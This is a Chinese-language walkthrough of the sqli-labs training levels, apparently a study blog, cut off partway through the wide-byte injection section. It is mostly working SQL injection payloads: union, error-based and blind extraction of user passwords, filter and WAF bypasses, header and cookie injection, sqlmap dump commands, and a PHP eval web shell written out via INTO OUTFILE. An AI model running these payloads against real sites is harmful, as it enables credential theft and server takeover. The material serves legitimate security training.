目录
Less-20 POST uagent字段 cookie注入
Less-27a GET 过滤union/select 双引号
Less-28a GET 盲注/union /过滤...../单引号+括号
Less-33 GET 宽字节注入 addslashes()
Less-34 POST 宽字节注入 addslashes()
Less-36 GET mysql_real_escape_string()
Less-37 POST mysql_real_escape_string
Page-3 Stacked injections(堆叠注入)
1、基础知识
(1)注入的分类
基于从服务器接收到的响应
▲基于错误的 SQL 注入
▲联合查询的类型
▲堆查询注射
▲SQL 盲注
•基于布尔 SQL 盲注
•基于时间的 SQL 盲注
•基于报错的 SQL 盲注
基于如何处理输入的 SQL 查询(数据类型)
•基于字符串
•数字或整数为基础的
基于程度和顺序的注入(哪里发生了影响)
★一阶注射
★二阶注射
一阶注射是指输入的注射语句对 WEB 直接产生了影响,出现了结果;二阶注入类似存 储型 XSS,是指输入ᨀ交的语句,无法直接对 WEB 应用程序产生影响,通过其它的辅助间 接的对 WEB 产生危害,这样的就被称为是二阶注入.
基于注入点的位置上的
▲通过用户输入的表单域的注射。
▲通过 cookie 注射。
▲通过服务器变量注射。 (基于头部信息的注射)
(2)系统函数
介绍几个常用函数:
- version()——MySQL 版本
- user()——数据库用户名
- database()——数据库名
- @@datadir——数据库路径
- @@version_compile_os——操作系统版本
(3)字符串连接函数
函数具体介绍 Sql注入中连接字符串常用函数 - lcamry - 博客园
- concat(str1,str2,...)——没有分隔符地连接字符串
- concat_ws(separator,str1,str2,...)——含有分隔符地连接字符串
- group_concat(str1,str2,...)——连接一个组的所有字符串,并以逗号分隔每一条数据
说着比较抽象,其实也并不需要详细了解,知道这三个函数能一次性查出所有信息就行了。
(4)一般用于尝试的语句
Ps:--+可以用#替换,url ᨀ交过程中 Url 编码后的#为%23
or 1=1--+
'or 1=1--+
"or 1=1--+
)or 1=1--+
')or 1=1--+
") or 1=1--+
"))or 1=1--+
一般的代码为:
$id=GET['id'];
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
此处考虑两个点,一个是闭合前面你的 ‘ 另一个是处理后面的 ‘ ,一般采用两种思路,闭合后面的引号或者注释掉,注释掉采用--+ 或者 #(%23-->#的url编码)
(5)union 操作符的介绍
UNION 操作符用于合并两个或多个 SELECT 语句的结果集。请注意,UNION 内部的 SELECT
语句必须拥有相同数量的列。列也必须拥有相似的数据类型。同时,每条 SELECT 语句中的
列的顺序必须相同。
SQL UNION 语法
SELECT column_name(s) FROM table_name1
UNION
SELECT column_name(s) FROM table_name2
注释:默认地,UNION 操作符选取不同的值。如果允许重复的值,请使用 UNION ALL。
SQL UNION ALL 语法
SELECT column_name(s) FROM table_name1
UNION ALL
SELECT column_name(s) FROM table_name2
另外,UNION 结果集中的列名总是等于 UNION 中第一个 SELECT 语句中的列名。
(6)sql 中的逻辑运算
这里我想说下逻辑运算的问题。
提出一个问题 Select * from users where id=1 and 1=1; 这条语句为什么能够选择出 id=1的内容,and 1=1 到底起作用了没有?这里就要清楚 sql 语句执行顺序了。
同时这个问题我们在使用万能密码的时候会用到。
Select * from admin where username=’admin’ and password=’admin’
我们可以用 ’or 1=1# 作为密码输入。原因是为什么?
这里涉及到一个逻辑运算,当使用上述所谓的万能密码后,构成的 sql 语句为:
Select * from admin where username=’admin’ and password=’’or 1=1#’
Explain:上面的这个语句执行后,我们在不知道密码的情况下就登录到了 admin 用户了。原 因 是 在 where 子 句 后 , 我 们 可 以 看 到 三 个 条 件 语 句 username=’admin’ and password=’’or 1=1。三个条件用 and 和 or 进行连接。在 sql 中,我们 and 的运算优先级大于 or 的元算优先级。因此可以看到 第一个条件(用 a 表示)是真的,第二个条件(用b 表示)是假的,a and b = false,第一个条件和第二个条件执行 and 后是假,再与第三个条件 or 运算,因为第三个条件 1=1 是恒成立的,所以结果自然就为真了。因此上述的语句就是恒真了。
①Select * from users where id=1 and 1=1;
②Select * from users where id=1 && 1=1;
③Select * from users where id=1 & 1=1;
上述三者有什么区别?①和②是一样的,表达的意思是 id=1 条件和 1=1 条件进行与运算。
③的意思是 id=1 条件与 1 进行&位操作,id=1 被当作 true,与 1 进行 & 运算 结果还是 1,再进行=操作,1=1,还是 1(ps:&的优先级大于=)
Ps:此处进行的位运算。我们可以将数转换为二进制再进行与、或、非、异或等运算。必要的时候可以利用该方法进行注入结果。例如将某一字符转换为 ascii 码后,可以分别与1,2,4,8,16,32...进行与运算,可以得到每一位的值,拼接起来就是 ascii 码值。再从ascii 值反推回字符。(运用较少)
(7)注入流程
我们的数据库存储的数据按照上图的形式,一个数据库当中有很多的数据表,数据表当中有很多的列,每一列当中存储着数据。我们注入的过程就是先拿到数据库名,在获取到当前数据库名下的数据表,再获取当前数据表下的列,最后获取数据。
SQLi
Page-1(Basic Challenges)
Less-1 GET 字符串型基于错误的单引号的注入
http://127.0.0.1/sqli/Less-1/?id=1
加一个 ' ,报错,先判断字段名,’#’和‘-- asd’一样都是注释。然后获取字段数为3(换成4时报错可以看出)
?id=1' or 1=1 orderby 3 %23
?id=1' or 1=1 order by 3 -- asd
查数据库名:?id=0' union select 1,database(),3 -- asd
查php版本:?id=0' union select 1,version(),3 %23++
,PHP版本在5以上会有information_schema,详情参考我的文章
查表名:?id=0' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' -- asd
?id=0' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() -- asd
查users表中字段信息:
?id=0' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' -- asd
查三个字段具体内容:
?id=0' union select 1,2,group_concat(id,username,password) from users -- asd
用户名和密码就爆破出来了。
Less-2 GET 整数型 错误
首先判断是整型 1 or 1=1
爆字段:1 or 1=1 order by 3 -- asd
查数据库,PHP版本:
?id=0 union select 1,database(),version() -- asd
查表名
?id=0 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' -- asd
查字段名
?id=0 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' -- asd
查字段数据
?id=0 union select 1,2,group_concat(id,username,password) from users -- asd
Less-3 GET 字符型 带括号的单引号
源码:$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
查表的字段
?id=1') order by 3 -- asd
查数据库和PHP版本
?id=0') union select 1,database(),version() -- asd
查表名:
?id=0') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' -- asd
查字段名:
?id=0') union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' -- asd
查字段数据
?id=0') union select 1,2,group_concat(id,username,password) from users-- asd
Less-4 GET 字符型 双引号
源码:$id = '"' . $id . '"';
$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";
当然也可以自己判断,输入双引号时,如下图,
这说明这里是用""和()对$id进行包装,所以应该用?id=1") -- asd
进行注入
查字段:?id=1") order by 3 -- asd
查数据库和PHP版本
?id=0") union select 1,database(),version() -- asd
查表名:
?id=0") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' -- asd
查字段名:
?id=0") union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' -- asd
查字段数据:
?id=0") union select 1,2,group_concat(id,username,password) from users-- asd
Less-5 GET 字符型 单引号盲注-报错注入
输入单引号时,出现报错,显示是双引号
但是双引号是又是一个不变的界面,如下
这种情况我们可以尝试报错注入,可以使用updatexml()和extractvalue(),他们两使用如下,其他使用方法都一样了,这里我只演示updatexml了
?id=0' and updatexml(1,concat('$',(select database())),1) -- asd
?id=0' and extractvalue(1,concat(‘$’,database())) -- asd
查PHP版本:
?id=0' and updatexml(1,concat('$',(select version())),1) -- asd
发现只能显示后面几位,可以用substr()来获取版本的第一个字符,看看是不是5,或者其他,如果正确,则是"You are in ... "这个界面.(这里id不能是0)
?id=1" and substr(version,1,1)=5 -- asd
查表名:
?id=0' and updatexml(1,concat('$',(select group_concat(table_name) from information_schema.tables where table_schema='security')),1) -- asd
查字段名:
?id=0' and updatexml(1,concat('$',(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),1) -- asd
查字段数据
?id=0' and updatexml(1,concat('$',(select group_concat(id,username,password) from users)),1) -- asd
有限长,用limit一个字段一个字段查看,如:
?id=0' and updatexml(1,concat('$',(select username from users limit 1,1)),1) -- asd
Less-6 GET 双引号 报错注入
和上一关差不多,只是注入变成了双引号
?id=1" and updatexml(1,concat('$',(select database())),1) -- asd
?id=1" union select 1,count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x --+
判断PHP版本:?id=1" and substr(version(),1,1)=5 -- asd
查表名:
?id=0" and updatexml(1,concat('$',(select group_concat(table_name) from information_schema.tables where table_schema='security')),1) -- asd
查字段名:
?id=0" and updatexml(1,concat('$',(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),1) -- asd
查字段内容,应该还是限长,用limit:
?id=0" and updatexml(1,concat('$',(select username from users limit 2,1)),1) -- asd
Less-7 GET 字符型 (布尔盲注)转储到输出文件
1.采用布尔盲注
查看源码,发现对报错进行了注释,所以没法再使用报错注入了
但是发现它提示正确和错误(这就是布尔盲注,有回显,但不会显示具体信息)不一样,可以借此来猜测
1.正则表达式攻击:链接
2.常用截取字符函数:链接
首先还是知道构造传参方式,先输入1',报错;1",显示正常,所以传参为单引号,因为单引号破坏了他的闭合结构(如果闭合是单引号,添加双引号不会报错,单引号会报错);输入1') -- asd时报错;再猜1')) -- asd时正确,就确定了构造的结构就是它
判断字段列数:?id=1')) order by 3%23
正确
猜数据库长度:?id=1')) and length(database())=8 -- asd
当返回正确时,即猜解的结果正确
猜数据库名,利用猜字符的ascii码,来判断字符,如我们知道"security"第一个字母"s"的ascii码为115:?id=1')) and ascii(substr(database(),1,1))=115 -- asd
e-->101;c-->99;u-->117;r-->114;i-->105;t-->116;y-->121
猜表名:?id=1')) and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='security' limit 0,1),1,1))=101 -- asd
先从第一个表猜起
2.根据标题,利用文件导入的方式进行注入
在MySQL里面使用select … into outfile可以把数据导出到文本文件上。里面有几个参数,secure_file_priv 用来限制导出效果。他有三个属性:null限制不能导出、为空可以自定义、为一个路径则只能导出到指定路径
datadir是MySQL数据存储位置,是默认的相对位置。
查询时候加上@@ 如@@secure_file_priv、@@datadir
SELECT.....INTO OUTFILE 'file_name' 可以把被选择的行写入一个文件中。该文件被创建到服务器主机上,因此您必须拥有 FILE 权限,才能使用此语法。file_name 不能是一个已经存在的文件
首先我们要查看secure_file_priv是否为空
show variables like 'secure_file_priv';
在mysql配置文件my.ini中,在[mysald]中添加secure_file_priv=''
(没有空格),然后重启mysql.
再次查询
?id=-1')) union select 1,@@basedir,@@datadir --+
@@datadir 读取数据库路径
@@basedir MYSQL 获取安装路径
通过语句可以查看目录路径地址
我们直接写一个PHP木马http://127.0.0.1/sqli/Less-7/?id=-1')) union select 1,2,'<?php @eval($_POST["cmd"]);?>' into outfile 'D:/phpstudy_pro/WWW/sqli/Less-7/shell.php' -- +
之后就可以直接用蚁剑连接。
也可以像前几关一样,一条信息一条的输出,eg:
?id=1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' into outfile 'D:/phpstudy_pro/WWW/sqli/Less-7/shell.php' -- asd
Less-8 GET 基于单引号的盲布尔运算
先猜闭合方式:为单引号,然后只有两个页面。
判断字段:?id=1' order by 3 -- asd
判断数据库长度:?id=1' and length(database())=8 -- asd
猜数据库字符:?id=1' and length(database())=8 -- asd
判断数据库第一个表名:?id=1' and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='security' limit 0,1),1,1))=101 -- asd
猜字段:?id=1' and ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))=105--+
猜字段内容:http://127.0.0.1/sqli-labs/Less-8/?id=1' and ascii(substr((select password from users limit 0,1),1,1))=68--+
依次猜下去。。。
太麻烦了使用sqlmap,参考文档
先扫url:python2 sqlmap.py -u http://127.0.0.1/sqli/Less-8/?id=1 --batch
查当前使用数据库:
python2 sqlmap.py -u http://127.0.0.1/sqli/Less-8/?id=1 --current-db --batch
查数据库下表:
python2 sqlmap.py -u http://127.0.0.1/sqli/Less-8/?id=1 -tables -D security --batch
查表中字段:
python2 sqlmap.py -u http://127.0.0.1/sqli/Less-8/?id=1 --columns -T users -D security --batch
爆出具体数据:
python2 sqlmap.py -u http://127.0.0.1/sqli/Less-8/?id=1 --dump -C "username,password" -T users -D security --batch
Less-9 GET 单引号时间盲注
首先判断注入方式,发现只有当1后面跟单引号时才会执行成功:?id=1' and if(1=1,sleep(5),null) -- asd
,可以发现sleep执行成功,左上角在转圈。
采用if(条件1,条件2,条件3),1正确则输出2,否则输出3,ascii()返回字符的ASCII码,s的ASCII码为115
判断数据库:?id=1' and if(ascii(substr(database(),1,1))=115,sleep(5),null) --asd
判断表名?id=1' and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='security' limit 0,1),1,1))=101,sleep(5),null)--+
判断字段长度:
?id=1' and if(length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>10,sleep(5),1)--+
判断字段名:
?id=1' and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))=105,sleep(5),1)--+
判断字段内容:
?id=1' and if(ascii(substr((select group_concat(username,password) from users),1,1))=68,sleep(5),1)--+
总之就是一个一个的猜,很繁琐
Less-10 GET 双引号 时间盲注
传参为:?id=1" --+
,除了双引号和上面一关一样。
Less-11 POST 字符型 单引号错误
1.手工注入
我们拿到这样一个输入框,可以像之前一样在username处构造穿参,如admin#;admin'#;admin"#;
,密码随意,当输入admin'#
时有输出,也可以输入1;1';1";来看谁有报错,发现单引号是有,然后再构造传参。
首先先看分析一下后台处理数据的源代码:@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
当输入admin'#
时,后台代码就变成了:
@$sql="SELECT username, password FROM users WHERE username='admin'# and password='$passwd' LIMIT 0,1";
#后面就被注释掉了
知道有注入点,过程还是一样,先查字段:1' order by 3#
当字段数为3时报错,说明只有两个字段
查数据库:1' union select 1,database()#
查表:
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='security'#
查字段:
1' union select 1,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'#
查字段内容
1' union select 1,group_concat(username,password) from users#
2.sqlmap 11关post运用
(1)方式一 指定url直接注入
先自己用burp抓包,获取参数名:unam、passwd
启动sqlmap探测注入点:
python2 sqlmap.py -u http://127.0.0.1/sqli/Less-11/ --data="uname=admin&passwd=password" --batch
爆破数据库名:
python2 sqlmap.py -u http://127.0.0.1/sqli/Less-11/ --data="uname=admin&passwd=password" --current-db --batch
爆破表:
python2 sqlmap.py -u http://127.0.0.1/sqli/Less-11/ --data="uname=admin&passwd=password" -D security --tables --batch
爆破字段:python2 sqlmap.py -u http://127.0.0.1/sqli/Less-11/ --data="uname=admin&passwd=password" -D security -T users --columns --batch
爆破数据:
python2 sqlmap.py -u http://127.0.0.1/sqli/Less-11/ --data="uname=admin&passwd=password" -D security -T users -C username,password --dump --batch
当然用sqlmap也可以不用查字段,获取库名、表名就可以直接爆数据
python2 sqlmap.py -u http://127.0.0.1/sqli/Less-11/ --data="uname=admin&passwd=password" -D security -T users --dump --batch
(2)方式二 抓包保存到文件中,sqlmap指定文件扫描点
burp抓包,右键,复制到文件。
sqlmap.py -r txt文件位置 -p 要扫描的点
python2 sqlmap.py -r "C:\Users\Administrator\Desktop\zhuabao.txt" -p uname
爆数据库:python2 sqlmap.py -r "C:\Users\Administrator\Desktop\zhuabao.txt" -p uname --current-db
爆表:python2 sqlmap.py -r "C:\Users\Administrator\Desktop\zhuabao.txt" -p uname -D security --tables
爆数据:python2 sqlmap.py -r "C:\Users\Administrator\Desktop\zhuabao.txt" -p uname -D security -T users --dump
Less-12 POST 字符型 带括号的双引号
先试闭合方式,发现为")
基本和上一关一样
判断字段:1") order by 3#
,两个字段
判断数据库:1") union select 1,database()#
判断表:1") union select 1,group_concat(table_name) from information_schema.tables where table_schema='security'#
判断字段:1") union select 1,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'#
爆破数据:1") union select 1,group_concat(username,password) from users#
Less-13 POST 字符型 单引号加括号-双注入
先判断闭合为')
判断字段:1') order by 3#
爆破数据库:1') union select 1,datebase()#
然后发现提示变了,有可能是报错盲注
爆数据库:1') and updatexml(1,concat(0x7e,(select database()),0x7e),3)#
爆表:1') and updatexml(1,concat('$',(select group_concat(table_name) from information_schema.tables where table_schema='security')),1)#
爆字段:1') and updatexml(1,concat('$',(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),1) -- asd
爆数据:1') and updatexml(1,concat('$',(select group_concat(username,password) from users)),1) -- asd
有限长,那就像之前一个字段一个字段的看。
Less-14 POST 单引号加括号-双注入
还是先猜闭合,发现在输入双引号时会报错,难道又是报错注入?先试试:1" and updatexml(1,concat('$',(select database())),1)#
然后就是和13关一样的流程
Less-15 POST 单引号 布尔/时间盲注
1.时间盲注
开始输入发现页面没有变化,猜测有时间注入
admin' and if(1=1,sleep(5),null)#
猜数据库名:admin' and if(ascii(substr(database(),1,1))=115,sleep(5),1)#
猜表名:admin' and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='security' limit 0,1),1,1))=101,sleep(5),null)#
然后就是和第九关一样的流程了......
2.布尔盲注
在注入的过程中,我们发现有两个页面,蓝色-->成功执行,红色-->错误;可以尝试布尔盲注
判断字段:admin' order by 2#
判断数据库名长度:admin' and length(database())=8 #
判断数据库名:admin' and ascii(substr(database(),1,1))=115#
过程和第8关一样......
Less-16 POST 双引号 布尔/时间盲注
先判断闭合,在输入admin")#
时返回正确,先尝试布尔盲注呢
判断字段列数:admin") order by 2#
返回正确,就和上面一样了,时间注入也是和上面一样的,只是闭合方式改变了。
Less-17 POST 字符型 更新查询错误
1.数据库的增删改查
在对数据进行处理上,我们经常用到的是增删查改。接下来我们讲解一下 mysql 的增删改。
(1)查就是我们上述总用到的 select,这里就不介绍了。
(2)增加一行数据。Insert 简单举例 insert into users values('16','lcamry','lcamry');
(3)删除:
1.删数据:
delete from 表名;
delete from 表名 where id=1;
2.删除结构:
删数据库:drop database 数据库名;
删除表:drop table 表名;
删除表中的列:alter table 表名 drop column 列名;
3.简单举例: delete from users where id=16
(4)修改 :
1.修改所有:updata 表名 set 列名='新的值,非数字加单引号' ;
2.带条件的修改:updata 表名 set 列名='新的值,非数字加单引号' where id=6 ;
2.报错注入
还是先找注入点和闭合方式,先对username,发现没有任何反应,尝试其他盲注也没成功,(后面看源码发现对username进行了check_input,对uname进行了转义)。尝试对password进行注入,当输入1'
时,出现如下报错,可能有报错注入(注意:用户名必须添加)
查当前版本和数据库:
1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)#
1' and updatexml(1,concat(0x7e,(select version()),0x7e),1)#
查表名:
1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)#
查字段名:
1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1)#
查数据:1' and updatexml(1,concat('$',(select username from users limit 2,1)),1)#
在最后一步爆字段内容时候,会报错,原因是mysql数据不支持查询和更新是同一张表。所以我们需要加一个中间表。这个关卡需要输入正确账号因为是密码重置页面,所以爆出的是该账户的原始密码。如果查询时不是users表就不会报错。1' and (updatexml(1,concat(0x5c,(select password from (select password from users where username='admin1') b),0x5c),1))#
Less-18 POST uagent字段头部注入
本关uname和passwd都进行了check_input,对输入内容进行转义处理,不能再从这里注入了。然后再往下看到$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
将 useragent 和 ip 插入到数据库中,那么我们是不是可以用这个来进行注入呢? ip 地址我们这里修改不是很方便,但是 useragent 修改较为方便,我们从 useragent 入手 我们利用 burpsuite 进行抓包改包
当我们在User-Agent后面加上单引号出现如下报错,可见插入语句是将ua字段内容和ip地址以及账户名作为字符串进行插入且外面有括号。还要注意该插入语句需要三个参数,所以我们在构造时候也需要有三个参数。因为#号后面都被注释了。(注意这关需要输入正确的用户名和密码才能进行正确的显示)
将user-agent改为1',2,3)#
,返回正确
所以我们可以在这里注入,这里我们采用报错注入
先爆数据库名:
1',2,updatexml(1,concat(0x7e,(select database()),0x7e),1))#
那其他操作就差不多了
爆表:1',2,updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1))#
然后爆具体数据,就参照Less-5就ok,只是说可能对输出进行了限长,一个一个查看就行
Less-19 POST referer字段头部注入
源码为:$insert="INSERT INTO `security`.`referers` (`referer`, `ip_address`) VALUES ('$uagent', '$IP')";
所以这里构造闭合为1',2)#
爆数据库名:
1',updatexml(1,concat(0x7e,(select database()),0x7e),1))#
其他语句参照上面。
Less-20 POST uagent字段 cookie注入
当我们输入正确的用户名和密码时,返回了一个cookie的值。 从源代码中我们可以看到 cookie 从 username 中获得值后,当再次刷新时,会从cookie中读取username,然后进行查询。登录成功后,我们修改 cookie,再次刷新时,这时候 sql 语句就会被修改了。
登录成功后刷新抓包获取cookie
还是发包到repeater,构造闭合,当为admin1'#
时返回正常,还是报错注入试一下,爆出数据库:
admin1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)#
其他操作同上
Less-21 POST base64报错注入(单引号)
先输入用户名和密码,登录后看看,发现cookie还是获取了uname的值,只不过进行了base64编码
先输入单引号的base64编码Jw==
成功报错,并且可以看出闭合为')
爆数据库名,代码同20关:admin1') and updatexml(1,concat(0x7e,(select database()),0x7e),1)#
,但是这里要进行base64编码,直接burp上进行base64编码(选中代码右键,选择convert selection下的base64下的encoding)
其他参照前几关报错注入。
Less-22 POST base64报错注入(双引号)
打开还是这样一个页面,还是先猜闭合
当输入双引号的base64编码时,有报错回显,根据回显可以看出闭合为"
猜数据库名:admin1" and updatexml(1,concat(0x7e,(select database()),0x7e),1)#
其他如法炮制就行
Page-2 (Advanced Injections)
Less-23 GET 注释被过滤
判断闭合输入id=1'
时报错,闭合就是这个了,但是当我们后面输入注释符时,抓包看到并没有#,输入--+也不行,可能被过滤了。
这种情况可以用or '1'='1
来进行闭合
然后就采取报错注入,查数据库id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1) or '1'='1
查其它的自行替换就行
在这里构造闭合,我发现;%00
也可以闭合,自行尝试
Less-24 POST 二次注入~存储注入
二次排序注入也称为存储型的注入,就是将可能导致 sql 注入的字符先存入到数据库中,当再次调用这个恶意构造的字符时,就可以触发sql 注入。
二次排序注入思路:1.黑客通过构造数据的形式,提交包含SQL语句或者命令的http数据报文请求到服务端处理
2.服务端存储黑客提交的数据通常是保存在数据库中,保存的
数据信息的主要作用是为应用程序执行其他功能ᨀ供原始输入数据并对客户端请求做出响应。
3.黑客向服务端发送第二个与第一次不相同的请求数据信息。
4.服务端接收到黑客ᨀ交的第二个请求信息后,为了处理该请求,服务端会查询数据库中已经存储的数据信息并处理,从而导致黑客在第一次请求中构造的 SQL 语句或者命令在服务端环境中执行。
5.服务端返回执行的处理结果数据信息,黑客可以通过返回的结果数据信息判断二次注入漏洞利用是否成功
(如果24关登录后页面没有修改密码的选项,或者是白页面,则到GitHub上重新下载24关源代码)
这关我们创建一个admin'#
账户,接下来登录该账户后进行修改密码,这时修改的密码就是admin的密码。插入语句就变成了
UPDATE users SET passwd="New_Pass" WHERE username =' admin' # ' AND password='
也 就 是 执 行 了 UPDATE users SET passwd="New_Pass" WHERE username =' admin'
我们先看一下初始users表
注册admin'#
账号:
此时我们注意数据库,已经新建admin'#用户,密码123456.同时admin用户为1"
然后登录admin'#
后,再修改密码。如果登录后没有修改密码的选项,则是24关的logged-in.php文件损坏,需要去github上下载源文件,然后将24关替换到自己的sqli-labs中
修改之后再看users表
admin用户的密码已经修改成admin了
Less-25 GET or、and被过滤
本关主要是or/and被过滤,如何绕过,下面是一些思路:
1.大小写变形
2.hex编码、urlencode
3.添加注入:/*or*/
4.利用符号&&=and ||=or
首先还是判断闭合为单引号,然后尝试绕过最后||可以绕过
爆数据库:?id=1' || updatexml(1,concat(0x7e,(select database()),0x7e),1)||'1'='1
爆表:?id=1'||(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema='security'))),1))||'1
然后就差不多了
Less-25a GET or、and被过滤,且不报错
本关没有报错信息的提示,所以不能再用报错注入,采用联合注入和延时注入。
判断闭合时发现应该是整数
判断字段:?id=-1 union select 1,2,3#
爆数据库:?id=-1 union select 1,version(),database()#
爆表:?id=-1 union select 1,group_concat(table_name),3 from infoorrmation_schema.tables where table_schema=database()#
其余自行构造,做到这,其实上一关也能用联合查询过
Less-26 GET 空格被过滤
本关结合 25 关,将空格,or,and,/*,#,--,/等各种符号过滤 。对于注释和结尾字符的我们此处只能利用 构造一个 ’ 来闭合后面到 ’ ;对于空格,( 本关可能有的朋友在 windows 下无法使用一些特殊的字符代替空格,此处是因为 apache 的解析的问题,这里请更换到 linux 平台下 )有较多的方法:
%09
TAB 键(水平)
%0a
新建一行
%0c
新的一页
%0d
return 功能
%0b
TAB 键(垂直)
%a0
空格
26 关,sql 语句为 SELECT * FROM users WHERE id='$id' LIMIT 0,1
我们可以构造闭合,?id=1'||'1
如果解析可用,就是·这种格式:?id=0' %0b union %0b select %0b 1,2,datebase() ||'1
查表名:
?id=0' %0b union %0b select %0b 1,2,group_concat(table_name) %0b from %0b infoorrmation_schema.tables %0b where %0b table_schema=database()||'1
。。。
由于apache解析问题,这里我们使用空格绕过,由于报错注入空格较少,本关使用报错注入通过
爆数据库:?id=1'||(updatexml(1,concat(0x7e,(select(database())),0x7e),1))||'1
爆表:?id=1'||(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema='security'))),1))||'1
爆字段:?id=1'||(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_schema='security'aandnd(table_name='users')))),1))||'1
爆数据:?id=1'||(updatexml(1,concat(0x7e,(select(group_concat(passwoorrd,username))from(users))),1))||'1
限长就用limit一个一个查看
Less-26a GET 空格被绕过,单引号+括号
源码:$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
所以构造闭合为:?id=1')||('1
,同时报错信息不显示在前台页面,所以不能使用报错注入,用布尔和联合注入
如果是union注入,直接将空格替换成%a0即可(环境原因,就不想演示了)
?id=1')%0Aunion%0Aselect%0A1,2,database()%0Aanandd('1
然后还可以用布尔盲注
判断数据库名字长度:?id=1')anandd(length(database())=8)anandd('1
然后如法炮制。。
Less-27 GET 过滤掉union/select
本关在前几关的基础上,过滤掉了union、select,然后判断闭合为单引号,我们可以双写或者大小写绕过,这关有报错注入
爆数据库:?id=1'||(updatexml(1,concat(0x7e,(SeLect(database())),0x7e),1))||'1
然后和25关差不多,只是注意select要大小写
爆表:?id=1'||(updatexml(1,concat(0x7e,(SEleCt(group_concat(table_name))from(information_schema.tables)where(table_schema='security'))),1))||'1
Less-27a GET 过滤union/select 双引号
本关闭合为?id=1"||"1
本关和27关与26a和26的关系一样,可以使用union注入(还是和环境有关),盲注,不能用报错注入。
Less-28 GET 过滤... 单引号+括号
首先判断闭合为?id=1')
爆表:?id=0')uni union%0Aselecton%0Aselect%0A1,2,group_concat(table_name)from%0Ainformation_schema.tables%0Awhere%0Atable_schema='security'and ('1
爆字段:?id=0')uni union%0Aselecton%0Aselect%0A1,2,group_concat(column_name)from%0Ainformation_schema.columns%0Awhere%0Atable_schema='security'%0Aand%0Atable_name='users' %0A and('1
爆数据:?id=0')uni union selecton%0Aselect%0A1,2,group_concat(username,password)from%0Ausers%0Aand('1
?id=0')%09uni union selecton%0Aselect%09 1,2,group_concat(username,password)from %09 users %09 and('1
好像有不行,耐性的小伙伴可以在Linux操作系统里去试一下。
Less-28a GET 盲注/union /过滤...../单引号+括号
本关比28没啥不同,只过滤union+select。其他没有过滤。
爆字段名:?id=0')uniunion selecton select 1,2,group_concat(column_name)from information_schema.columns where table_schema='security' and table_name='users'--+
Less-29 GET 有WAF 单引号闭合
1.介绍
服务器端有两个部分:第一部分为tomcat为引擎的jsp型服务器,第二部分为apache为引擎的php服务器,真正提供web服务器的是php服务器。工作流程为:client访问服务器能直接访问到tomcat服务器,然后tomcat服务器再向apache服务器请求数据。
在与服务器进行交互的过程中,客户端往往会在GET/POST请求中带上参数。通常在一个请求中,同名参数只会出现一次,但是在HTTP协议中是允许同名参数多次出现的。
假设请求为index.php?id=1&id=2,客户端请求首先通过tomcat解析第一个参数,接下来tomcat去请求apache服务器,而apache解析最后一个参数。实际提供服务的是apache服务器,因此返回客户端的是id=2。
下表为数服务器对参数解析的:
2.进行注入
(29,30,31的login.php相当于是加了WAF,访问他也可以,就不用再搭建Tomact了)
如果一个网站只在tomcat服务器处做数据过滤和处理,我们可以利用解析参数的不同,对WAF检测进行绕过。
爆库:?id=1&id=0' union select 1,database(),3||'1
.....
Less-30 GET WAF 双引号闭合
判断闭合:输入?id=1&id=1"
时,无显示。
爆库:?id=1&id=0" union select 1,database(),3||"1
......
Less-31 GET WAF 双引号+括号闭合
判断闭合:输入?id=1&id=1"
,出现如下信息,说明构造闭合为?id=1&id=1")||("1
爆库:?id=1&id=0") union select 1,database(),3||("1
Less-32 GET 宽字节注入 给危险字符加“/”
本关(32~37)过滤了斜杠/单引号/双引号,但是在源码中还发现,数据库用的GBK编码,就想到了宽字节注入。(参考链接下面第六点)
%5c--> \ ; %27--> ' ;
原理:mysql 在使用 GBK 编码的时候,会认为两个字符为一个汉字,例如%aa%5c 就是一个汉字(前一个 ascii 码大于 128 才能到汉字的范围)。我们在过滤 '
的时候,往往利用的思路是将'
转换为 \'
